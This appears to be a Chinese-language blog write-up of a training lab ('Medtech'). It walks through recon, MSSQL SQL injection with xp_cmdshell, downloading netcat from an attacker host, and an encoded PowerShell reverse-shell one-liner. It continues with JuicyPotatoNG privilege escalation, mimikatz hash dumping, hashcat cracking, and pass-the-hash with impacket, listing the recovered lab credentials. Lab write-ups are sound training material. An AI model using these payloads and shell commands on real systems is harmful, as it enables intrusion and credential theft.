Challenge 1 - Medtech(1)
Challenge 1 - Medtech(1)
Challenge 1 共有 10 台靶機如下圖
製作一個表格表示每一台主機資訊、IP、作業系統、進攻順序與最後的 flag 如下表
針對 LAB1 的進攻順序第一台選定 VM4,IP 尾碼為 121 這一台當作第一台進攻靶機
執行 ping 192.168.234.121 依據 TTL 來看是一台 Windows 主機
更新表格如下
第一步一樣執行 Rustscan,└─$ rustscan -a 192.168.234.121 --scripts none --ulimit 5000 | tee rustscan
check snmp 看來沒戲,└─$ sudo nmap -sU -p 161 192.168.234.121 | tee snmp
nmap 掃描,└─$ sudo nmap -sCV -A -p 80,135,139,445,5985,49664,49665,49666,49668,49667,49669,49670,49671,47001 192.168.234.121 | tee nmap
80/tcp open http Microsoft IIS httpd 10.0
enum4linux 沒有有用的資訊,└─$ enum4linux -a 192.168.234.121 | tee enum4linux
smbclient 無法匿名列舉
whatweb 看一下└─$ whatweb http://192.168.234.121 | tee whatweb
Modernizr[3.5.0.min]
80 / 看來是 MedTech 這一家公司的官網
80 /robots.txt
gobuster 看一下有啥目錄,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.234.121 -c -t 150 -x txt,pdf,git,aspx | tee gobuster
先看看 /login.aspx
測試幾組常用的管理者帳號密碼組合都無法成功登入
測試看看 SQL Injection,帳號輸入 admin' OR 1=1 -- //,看來沒用
繼續嘗試幾種不同的 SQL Injection,結果在 admin' 有跳出 SQL Error
直接輸入 ' 也有跳錯誤
所以可以知道 ' 是有用的,且會在網頁輸出結果給我們看
機著嘗試使用 ' or 1=1 -- 等都無法成功繞過驗證
測試了幾個 ' 後面接指令都沒有成功顯示,這是基於 MySQL 的 SQL Injection 測試
因為 MSSQL 的測試需要使用 EXECUTE 指令來調用而不是 SELECT
且測試相關指令前一定都要先執行標準四步驟開啟 xp_cmdshell
- EXECUTE sp_configure 'show advanced options', 1; --> 啟用高級選項
- RECONFIGURE; --> 套用更改的設定到運行的環境配置
- EXECUTE sp_configure 'xp_cmdshell', 1; --> 啟用 xp_cmdshell
- RECONFIGURE; --> 套用更改的設定到運行的當前配置
- 測試 EXECUTE xp_cmdshell 'whoami'; --> 若成功則可以開始下指令了
可以看到有來抓檔案
PS : 指令 decode 如下
'; exec master..xp_cmdshell 'powershell -command Invoke-WebRequest -Uri http://192.168.45.179/tools/nc64.exe -Outfile C:\\temp\\nc64.exe'--
會這樣下指令主要是參考這一篇 : https://hebrtcp.wordpress.com/2015/08/08/sql-injection%E7%9A%84%E5%AF%A6%E7%8F%BE%E8%88%87%E6%87%89%E7%94%A8/
接著執行 nc64.exe 來建立連線試試看
指令 : '; exec master..xp_cmdshell 'c:\\temp\\nc64.exe 192.168.45.179 4444 -e powershell'--
URL encode : %27%3B%20exec%20master..xp_cmdshell%20%27c%3A%5C%5Ctemp%5C%5Cnc64.exe%20192.168.45.179%204444%20-e%20powershell%27--
可以看到 4444 Listener 進來了
後來有嘗試另外一種指令
指令 : '; exec master.dbo.xp_cmdshell 'c:\\temp\\nc64.exe 192.168.45.179 4444 -e powershell';--
URL encode : '%3b%20exec%20master.dbo.xp_cmdshell%20'c%3a%5c%5ctemp%5c%5cnc64.exe%20192.168.45.179%204444%20-e%20powershell'%3b--
一樣有成功,4444 Listener 也有進來
編輯最愛的 Powershell Oneliner 試試看
指令 : '; exec master..xp_cmdshell 'powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANwA5ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='--
URL encode : ='%3b%20exec%20master..xp_cmdshell%20'powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANwA5ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA%3d%3d'-
4444 Listener 進來了,果然 Powershell OneLiner 才是王道
查查看 local.txt 看來這一台不存在,hostname 確認是 WEB02
表格更新如下
開始 PE,whoami /priv,發現 SeImpersonatePrivilege 且是 Enabled
標準作業下載 JuicyPotatoNG.exe
iwr -uri http://192.168.45.179/JuicyPotatoNG.exe -Outfile JuicyPotatoNG.exe
執行 c:\temp\JuicyPotatoNG.exe -t * -p c:\temp\nc64.exe -a "192.168.45.179 4445 -e c:\windows\system32\cmd.exe"
4445 Listener 進來了,whoami 確認是管理者,拿取 flag
更新表格,這一台僅有 proof.txt 且拿到管理者權限,所以標註為綠色
補充這一台的資訊,ipconfig 可以看到有兩隻腳
192.168.234.121 與 172.16.234.254,所以內網的網段是 172.16.0.0
且這一台看來會充當內網出外網的 Gateway 與 Routing
另外我們進到這一台靠的是 SQL Injection 且要先開 xp_cmdshell 再用 Powershell Oneliner 進來
相當的麻煩,所以下載 mimikatz 執行後讀取 administrator 的 HASH 以及 offsec 的 HASH
offsec:2892d26cdf84d7a70e2eb3b9f05c425e
administrator:b2c03054c306ac8fc5f9d188710b0168
offsec 的 HASH 破解出來是 lab,└─$ hashcat -m 1000 2892d26cdf84d7a70e2eb3b9f05c425e /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
administrator 的沒有破解出來,不過沒差只要有 HASH 未來要進入到這一台直接使用
└─$ impacket-psexec -hashes :b2c03054c306ac8fc5f9d188710b0168 administrator@192.168.234.121
systeminfo 顯示這是一台加入網域的電腦
目前拿到兩個帳號與密碼如下
- medtech.com\offsec:lab
- (.121) web02\administrator:b2c03054c306ac8fc5f9d188710b0168
對外的機器 192.168.xxx.0/24 還有兩台機器分別是 .120、.122
測試後 .120 看來沒有開 SMB 對外,.122 驗證 offsec 一樣有用但不是管理者
現有拿到的 .121 administrator HASH 也無法透過 impacket-psexec 或 evil-winrm 登入到
.120 或是 .122,看來這個本機的 administrator 無法使用在其他對外機器上
列舉 c:\users 可以看到還有一個帳號 joe
繼續枚舉 .121 在 Joe 的 Download 底下有一個 test.zip 的檔案,解壓縮後在 web.concig
裡面記錄了一駔帳號密碼如下 sa:WhileChirpTuesday218WhileChirpTuesday218
另外在跑 mimikatz.exe 執行 privilege::debug,sekurlsa::logonpasswords 時
會報錯誤 : ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
查了一下看來式版本問題,後來更新了 kali 的 mimikatz
將新的 mimikatz.exe COPY 到要用的 lab 路徑
上傳到 .121 再跑一次 privilege::debug,sekurlsa::logonpasswords 就可以成功執行了
這一次的版本是
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 20348 (arch x64)
msvc 150030729 207
這一次獲得 joe 的 NTLM,joe:08d7a47a6f9f66b97b1bae4178747494
hashcat 破解看看,└─$ hashcat -m 1000 08d7a47a6f9f66b97b1bae4178747494 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
再次更新我們的使用者帳號密碼表如下
留言
張貼留言